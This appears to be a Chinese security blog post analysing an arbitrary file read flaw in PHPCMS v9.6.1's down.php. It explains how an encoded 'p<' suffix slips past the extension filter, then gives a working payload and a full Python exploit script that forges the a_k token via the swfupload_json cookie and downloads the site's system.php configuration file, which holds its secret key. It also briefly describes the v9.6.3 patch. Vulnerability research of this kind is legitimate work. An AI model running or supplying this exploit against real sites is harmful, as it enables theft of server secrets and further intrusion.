phpcms v9.6.1 爆出的任意文件读取漏洞， 来一起分析以下，这次漏洞可以说和9.6.0爆出来的sqli注入漏洞有一些联系，漏洞文件和漏洞利用方法都是一样的，只是这次漏洞点在down.php的download函数
我们定位到漏洞函数/phpcms/modules/content/down.php Line 103-127
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
}
}
}
这个函数开始几行代码的作用和init函数中的几乎一样，都是从parse_str 解析传入的a_k参数，但这里调用了safe_replace函数过滤。
和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到，然后程序对$f参数过滤，过滤规则如下：
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
过滤了一些黑名单，空格以及目录跳跃,之后把$s和$f作为下载文件路径:
if($m) $fileurl = trim($s).trim($fileurl);
再把拼接后的文件名过滤一次，程序继续运行，来到最关键的一步:
$fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
file_down函数是文件下载函数，调用readfile读取文件，在进入这个函数之前还用了一个str_replace 函数去除了大小括号，这就为我们绕过提供了思路，我们只需要构造 php< 或 php> 这样的后缀，就可以绕过正则， 之后被str_replace去掉了括号，就可以下载被过滤的文件后缀了。
a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:
image.png
payload 如下:
&i=1&m=1&d=1&modelid=2&catid=6&s=./phpcms/modules/content/down.ph&f=p%3%252%2*70C
放入src参数中，解后的$s=./phpcms/modules/content/down.ph, $f=p%3%252%2*70C
$f 的取值为p%3%252%2*70C --safe_replace-> p%3%252%270C --safe_replace--> p%3%2520C --parse_str--> p%3%20C --safe_replace-->p%3C --parse_str--> p< --str_replace-->p
最后和$s拼接就拼接出来了php，绕过了正则了， 过程也是比较复杂， 但payload构造骚，值得学习。
补丁分析
phpcms v9.6.3 修复了该漏洞, 就是在用str_replace函数去掉括号后再用正则过滤了一次。
image.png
写了一个读取system.php配置文件的exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
phpcmsv9.6.0 sqli verify and attach poc
"""
import requests
import re
from urllib import quote
TIMEOUT = 3
def geta_k(url,payload):
url = url if '://' in url else 'http://' + url
url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')
cookies = {}
#print 'step1'
step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
#print 'step1',step1
for c in requests.get(step1,timeout=TIMEOUT).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head + '_userid'] = c.value
cookies[c.name] = c.value
break
else:
return False
step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
#print 'step2:',step2,cookies
for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
if c.name[-9:] == '_att_json':
enc_payload = c.value
return enc_payload
break
else:
return False
def download(url):
url = url if '://' in url else 'http://' + url
url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php')
# 以获取system.php配置文件为例，其他文件可以自行修改链接即可,只能下载cms的php文件
payload = "&i=1&m=1&d=1&modelid=2&catid=6&s=caches/configs/system.ph&f=p%3%252%2*70C"
a_k = geta_k(url,payload)
url3 = url+"/index.php?m=content&c=down&siteid=1&a=init&a_k="+a_k
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
html = requests.get(url3,headers=headers)
res = re.findall(r'<a href="(.*?)" class="xzs_btn"></a>',html.content)
if res[0]:
downfile = res[0]
else:
return False
url4 = url+'/index.php'+downfile
rep = requests.get(url4,headers=headers)
print rep.content
if __name__ == '__main__':
download('http://localhost/')
网友评论